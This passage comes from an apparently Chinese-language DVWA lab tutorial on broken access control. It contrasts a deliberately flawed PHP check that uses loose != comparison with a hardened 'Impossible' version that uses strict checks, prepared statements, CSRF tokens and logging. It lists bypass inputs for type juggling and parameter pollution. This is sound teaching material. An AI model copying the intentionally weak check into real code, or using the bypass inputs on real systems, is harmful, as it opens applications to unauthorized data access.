class="variable">$result</span> = <span class="title function_ invoke__">mysqli_stmt_get_result</span>(<span class="variable">$stmt</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$result</span> &amp;&amp; <span class="title function_ invoke__">mysqli_num_rows</span>(<span class="variable">$result</span>) &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="variable">$row</span> = <span class="title function_ invoke__">mysqli_fetch_assoc</span>(<span class="variable">$result</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$row</span>[<span class="string">&#x27;role&#x27;</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;user&#x27;</span>; <span class="comment">// 默认为普通用户</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查用户角色</span></span><br><span class="line"><span class="variable">$userRole</span> = <span class="title function_ invoke__">getUserRole</span>(<span class="variable">$currentUser</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取要访问的用户ID</span></span><br><span class="line"><span class="variable">$userId</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;id&#x27;</span>] ?? <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 改进：根据角色限制访问 ★★★</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$userRole</span> != <span class="string">&#x27;admin&#x27;</span>) &#123;</span><br><span class="line">    <span class="comment">// ★★★ 问题：虽然检查了角色，但逻辑仍有漏洞 ★★★</span></span><br><span class="line">    <span class="comment">// 非管理员只能访问自己的数据</span></span><br><span class="line">    <span class="comment">// 但没有正确验证$userId是否是当前用户</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取当前用户的ID</span></span><br><span class="line">    <span class="variable">$currentUserId</span> = <span class="title function_ invoke__">getCurrentUserId</span>(<span class="variable">$currentUser</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 逻辑漏洞：类型比较 ★★★</span></span><br><span class="line">    <span class="comment">// $_GET[&#x27;id&#x27;]是字符串，$currentUserId是整数</span></span><br><span class="line">    <span class="comment">// 如果使用==而不是===，可能被绕过</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$userId</span> != <span class="variable">$currentUserId</span>) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Access denied: You can only view your own data&lt;/pre&gt;&quot;</span>;</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 管理员可以访问所有用户数据 ★★★</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$userRole</span> == <span class="string">&#x27;admin&#x27;</span>) &#123;</span><br><span class="line">    <span class="comment">// 管理员权限：查看、修改、删除任何用户</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 查询用户信息</span></span><br><span class="line"><span class="variable">$query</span> = <span class="string">&quot;SELECT * FROM users WHERE user_id = ?&quot;</span>;</span><br><span class="line"><span class="variable">$stmt</span> = <span class="title function_ invoke__">mysqli_prepare</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>], <span class="variable">$query</span>);</span><br><span class="line"><span class="title function_ invoke__">mysqli_stmt_bind_param</span>(<span class="variable">$stmt</span>, <span class="string">&#x27;i&#x27;</span>, <span class="variable">$userId</span>);</span><br><span class="line"><span class="title function_ invoke__">mysqli_stmt_execute</span>(<span class="variable">$stmt</span>);</span><br><span class="line"><span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_stmt_get_result</span>(<span class="variable">$stmt</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$result</span> &amp;&amp; <span class="title function_ invoke__">mysqli_num_rows</span>(<span class="variable">$result</span>) &gt; <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="variable">$user</span> = <span class="title function_ invoke__">mysqli_fetch_assoc</span>(<span class="variable">$result</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 显示用户信息</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;h2&gt;User Information&lt;/h2&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;p&gt;User ID: &quot;</span> . <span class="title function_ invoke__">htmlspecialchars</span>(<span class="variable">$user</span>[<span class="string">&#x27;user_id&#x27;</span>]) . <span class="string">&quot;&lt;/p&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;p&gt;Username: &quot;</span> . <span class="title function_ invoke__">htmlspecialchars</span>(<span class="variable">$user</span>[<span class="string">&#x27;user&#x27;</span>]) . <span class="string">&quot;&lt;/p&gt;&quot;</span>;</span><br><span class="line">    <span class="comment">// ★★★ 改进：不再显示密码哈希 ★★★</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 生成新的CSRF token</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>Anti-CSRF Token</strong> - 防止跨站请求伪造</li><li><strong>基于数据库的角色</strong> - 从数据库读取用户角色</li><li><strong>资源所有权检查</strong> - 验证用户是否可以访问该资源</li><li><strong>使用预编译语句</strong> - 防止SQL注入</li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：</strong></p><ol><li><strong>类型比较漏洞</strong> - 使用<code>!=</code>而不是<code>!==</code></li><li><strong>参数篡改</strong> - 可以尝试各种输入绕过检查</li><li><strong>逻辑漏洞</strong> - 某些边界情况未考虑</li></ol><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：类型混淆绕过"><a href="#方法1：类型混淆绕过" class="headerlink" title="方法1：类型混淆绕过"></a>方法1：类型混淆绕过</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 代码中：</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$userId</span> != <span class="variable">$currentUserId</span>) &#123;</span><br><span class="line">    <span class="comment">// 拒绝访问</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 问题：$userId是字符串，$currentUserId是整数</span></span><br><span class="line"><span class="comment">// PHP的弱类型比较可能导致绕过</span></span><br></pre></td></tr></table></figure><p><strong>测试：</strong></p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">当前用户ID: 5</span><br><span class="line"></span><br><span class="line">尝试：</span><br><span class="line">?<span class="attribute">id</span>=5    → 通过（相等）</span><br><span class="line">?<span class="attribute">id</span>=5.0  → 可能通过（5 != 5.0 is <span class="literal">false</span>）</span><br><span class="line">?<span class="attribute">id</span>=5e0  → 可能通过（科学计数法）</span><br><span class="line">?<span class="attribute">id</span>=05   → 可能通过（前导零）</span><br></pre></td></tr></table></figure><h4 id="方法2：参数污染"><a href="#方法2：参数污染" class="headerlink" title="方法2：参数污染"></a>方法2：参数污染</h4><figure class="highlight applescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">?<span class="built_in">id</span>=<span class="number">5</span>&amp;<span class="built_in">id</span>=<span class="number">2</span></span><br><span class="line"></span><br><span class="line">某些服务器配置下，可能导致：</span><br><span class="line">- 第一个<span class="built_in">id</span>用于检查（通过）</span><br><span class="line">- 第二个<span class="built_in">id</span>用于查询（访问user_id=<span class="number">2</span>）</span><br></pre></td></tr></table></figure><h4 id="方法3：会话固定"><a href="#方法3：会话固定" class="headerlink" title="方法3：会话固定"></a>方法3：会话固定</h4><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">1.</span> 创建新账户（普通用户）</span><br><span class="line"><span class="bullet">2.</span> 修改数据库，将角色改为admin（如果有SQL注入）</span><br><span class="line"><span class="bullet">3.</span> 或窃取管理员Session</span><br></pre></td></tr></table></figure><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完善的权限检查，真正安全。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ Impossible: 完善的权限管理 ★★★</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取当前用户</span></span><br><span class="line"><span class="variable">$currentUser</span> = <span class="title function_ invoke__">dvwaCurrentUser</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="variable">$currentUser</span>) &#123;</span><br><span class="line">    <span class="comment">// 未登录，重定向</span></span><br><span class="line">    <span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: login.php&quot;</span>);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护1：验证CSRF Token ★★★</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$_SERVER</span>[<span class="string">&#x27;REQUEST_METHOD&#x27;</span>] == <span class="string">&#x27;POST&#x27;</span>) &#123;</span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>(</span><br><span class="line">        <span class="variable">$_REQUEST</span>[<span class="string">&#x27;user_token&#x27;</span>],</span><br><span class="line">        <span class="variable">$_SESSION</span>[<span class="string">&#x27;session_token&#x27;</span>],</span><br><span class="line">        <span class="string">&#x27;index.php&#x27;</span></span><br><span class="line">    );</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护2：完善的权限检查类 ★★★</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Authorization</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取用户角色</span></span><br><span class="line">    <span class="keyword">public</span> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">getUserRole</span>(<span class="params"><span class="variable">$username</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">global</span> <span class="variable">$db</span>; <span class="comment">// PDO连接</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 使用PDO预编译 ★★★</span></span><br><span class="line">        <span class="variable">$stmt</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="string">&#x27;SELECT role FROM users WHERE user = :username&#x27;</span>);</span><br><span class="line">        <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">bindParam</span>(<span class="string">&#x27;:username&#x27;</span>, <span class="variable">$username</span>, PDO::<span class="variable constant_">PARAM_STR</span>);</span><br><span class="line">        <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line">        <span class="variable">$result</span> = <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">fetch</span>(PDO::<span class="variable constant_">FETCH_ASSOC</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$result</span> ? <span class="variable">$result</span>[<span class="string">&#x27;role&#x27;</span>] : <span class="string">&#x27;user&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取用户ID</span></span><br><span class="line">    <span class="keyword">public</span> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">getUserId</span>(<span class="params"><span class="variable">$username</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">global</span> <span class="variable">$db</span>;</span><br><span class="line"></span><br><span class="line">        <span class="variable">$stmt</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="string">&#x27;SELECT user_id FROM users WHERE user = :username&#x27;</span>);</span><br><span class="line">        <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">bindParam</span>(<span class="string">&#x27;:username&#x27;</span>, <span class="variable">$username</span>, PDO::<span class="variable constant_">PARAM_STR</span>);</span><br><span class="line">        <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line">        <span class="variable">$result</span> = <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">fetch</span>(PDO::<span class="variable constant_">FETCH_ASSOC</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$result</span> ? <span class="variable">$result</span>[<span class="string">&#x27;user_id&#x27;</span>] : <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心方法：检查是否可以访问用户 ★★★</span></span><br><span class="line">    <span class="keyword">public</span> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">canAccessUser</span>(<span class="params"><span class="variable">$currentUser</span>, <span class="variable">$targetUserId</span></span>) </span>&#123;</span><br><span class="line">        <span class="comment">// 获取当前用户角色</span></span><br><span class="line">        <span class="variable">$role</span> = <span class="built_in">self</span>::<span class="title function_ invoke__">getUserRole</span>(<span class="variable">$currentUser</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 管理员可以访问所有用户 ★★★</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$role</span> === <span class="string">&#x27;admin&#x27;</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 普通用户只能访问自己 ★★★</span></span><br><span class="line">        <span class="variable">$currentUserId</span> = <span class="built_in">self</span>::<span class="title function_ invoke__">getUserId</span>(<span class="variable">$currentUser</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 使用严格比较（===） ★★★</span></span><br><span class="line">        <span class="comment">// 防止类型混淆攻击</span></span><br><span class="line">        <span class="keyword">return</span> (<span class="keyword">int</span>)<span class="variable">$targetUserId</span> === (<span class="keyword">int</span>)<span class="variable">$currentUserId</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心方法：检查是否可以修改用户 ★★★</span></span><br><span class="line">    <span class="keyword">public</span> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">canModifyUser</span>(<span class="params"><span class="variable">$currentUser</span>, <span class="variable">$targetUserId</span></span>) </span>&#123;</span><br><span class="line">        <span class="comment">// 获取角色</span></span><br><span class="line">        <span class="variable">$role</span> = <span class="built_in">self</span>::<span class="title function_ invoke__">getUserRole</span>(<span class="variable">$currentUser</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 只有管理员可以修改其他用户 ★★★</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$role</span> === <span class="string">&#x27;admin&#x27;</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 普通用户只能修改自己 ★★★</span></span><br><span class="line">        <span class="variable">$currentUserId</span> = <span class="built_in">self</span>::<span class="title function_ invoke__">getUserId</span>(<span class="variable">$currentUser</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> (<span class="keyword">int</span>)<span class="variable">$targetUserId</span> === (<span class="keyword">int</span>)<span class="variable">$currentUserId</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心方法：检查是否可以删除用户 ★★★</span></span><br><span class="line">    <span class="keyword">public</span> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">canDeleteUser</span>(<span class="params"><span class="variable">$currentUser</span>, <span class="variable">$targetUserId</span></span>) </span>&#123;</span><br><span class="line">        <span class="comment">// 获取角色</span></span><br><span class="line">        <span class="variable">$role</span> = <span class="built_in">self</span>::<span class="title function_ invoke__">getUserRole</span>(<span class="variable">$currentUser</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 只有管理员可以删除用户 ★★★</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$role</span> !== <span class="string">&#x27;admin&#x27;</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 管理员不能删除自己 ★★★</span></span><br><span class="line">        <span class="variable">$currentUserId</span> = <span class="built_in">self</span>::<span class="title function_ invoke__">getUserId</span>(<span class="variable">$currentUser</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> ((<span class="keyword">int</span>)<span class="variable">$targetUserId</span> === (<span class="keyword">int</span>)<span class="variable">$currentUserId</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 获取并验证用户ID ★★★</span></span><br><span class="line"><span class="variable">$userId</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;id&#x27;</span>] ?? <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 输入验证 ★★★</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">is_numeric</span>(<span class="variable">$userId</span>) || <span class="variable">$userId</span> &lt;= <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Invalid user ID&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 权限检查：是否可以访问该用户 ★★★</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title class_">Authorization</span>::<span class="title function_ invoke__">canAccessUser</span>(<span class="variable">$currentUser</span>, <span class="variable">$userId</span>)) &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Access denied: You don&#x27;t have permission to view this user&lt;/pre&gt;&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 记录未授权访问尝试 ★★★</span></span><br><span class="line">    <span class="title function_ invoke__">logSecurityEvent</span>(<span class="string">&#x27;Unauthorized access attempt&#x27;</span>, [</span><br><span class="line">        <span class="string">&#x27;user&#x27;</span> =&gt; <span class="variable">$currentUser</span>,</span><br><span class="line">        <span class="string">&#x27;target_user_id&#x27;</span> =&gt; <span class="variable">$userId</span>,</span><br><span class="line">        <span class="string">&#x27;ip&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>],</span><br><span class="line">        <span class="string">&#x27;timestamp&#x27;</span> =&gt; <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y-m-d H:i:s&#x27;</span>)</span><br><span class="line">    ]);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 安全地查询用户信息 ★★★</span></span><br><span class="line"><span class="variable">$stmt</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="string">&#x27;SELECT user_id, user, first_name, last_name, avatar FROM users WHERE user_id = :id&#x27;</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">bindParam</span>(<span class="string">&#x27;:id&#x27;</span>, <span class="variable">$userId</span>, PDO::<span class="variable constant_">PARAM_INT</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line"><span class="variable">$user</span> = <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">fetch</span>(PDO::<span class="variable constant_">FETCH_ASSOC</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$user</span>) &#123;</span><br><span class="line">    <span class="comment">// ★★★ 安全地显示信息 ★★★</span></span><br><span class="line">    <span class="comment">// 使用htmlspecialchars()防止XSS</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;h2&gt;User Information&lt;/h2&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;p&gt;User ID: &quot;</span> . <span class="title function_ invoke__">htmlspecialchars</span>(<span class="variable">$user</span>[<span class="string">&#x27;user_id&#x27;</span>]) . <span class="string">&quot;&lt;/p&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;p&gt;Username: &quot;</span> . <span class="title function_ invoke__">htmlspecialchars</span>(<span class="variable">$user</span>[<span class="string">&#x27;user&#x27;</span>]) . <span class="string">&quot;&lt;/p&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;p&gt;First Name: &quot;</span> . <span class="title function_ invoke__">htmlspecialchars</span>(<span class="variable">$user</span>[<span class="string">&#x27;first_name&#x27;</span>]) . <span class="string">&quot;&lt;/p&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;p&gt;Last Name: &quot;</span> . <span class="title function_ invoke__">htmlspecialchars</span>(<span class="variable">$user</span>[<span class="string">&#x27;last_name&#x27;</span>]) . <span class="string">&quot;&lt;/p&gt;&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 不显示密码哈希 ★★★</span></span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;User not found&lt;/pre&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 处理修改请求 ★★★</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;update&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$updateUserId</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;user_id&#x27;</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 权限检查：是否可以修改该用户 ★★★</span></span><br><span class="line">    <span class="keyword">if</span> (!<span class="title class_">Authorization</span>::<span class="title function_ invoke__">canModifyUser</span>(<span class="variable">$currentUser</span>, <span class="variable">$updateUserId</span>)) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Access denied: You don&#x27;t have permission to modify this user&lt;/pre&gt;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="title function_ invoke__">logSecurityEvent</span>(<span class="string">&#x27;Unauthorized modify attempt&#x27;</span>, [</span><br><span class="line">            <span class="string">&#x27;user&#x27;</span> =&gt; <span class="variable">$currentUser</span>,</span><br><span class="line">            <span class="string">&#x27;target_user_id&#x27;</span> =&gt; <span class="variable">$updateUserId</span>,</span><br><span class="line">            <span class="string">&#x27;ip&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>]</span><br><span class="line">        ]);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 执行修改...</span></span><br><span class="line">    <span class="comment">// 使用PDO预编译语句</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 处理删除请求 ★★★</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;delete&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$deleteUserId</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;delete_id&#x27;</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 权限检查：是否可以删除该用户 ★★★</span></span><br><span class="line">    <span class="keyword">if</span> (!<span class="title class_">Authorization</span>::<span class="title function_ invoke__">canDeleteUser</span>(<span class="variable">$currentUser</span>, <span class="variable">$deleteUserId</span>)) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Access denied: You don&#x27;t have permission to delete this user&lt;/pre&gt;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="title function_ 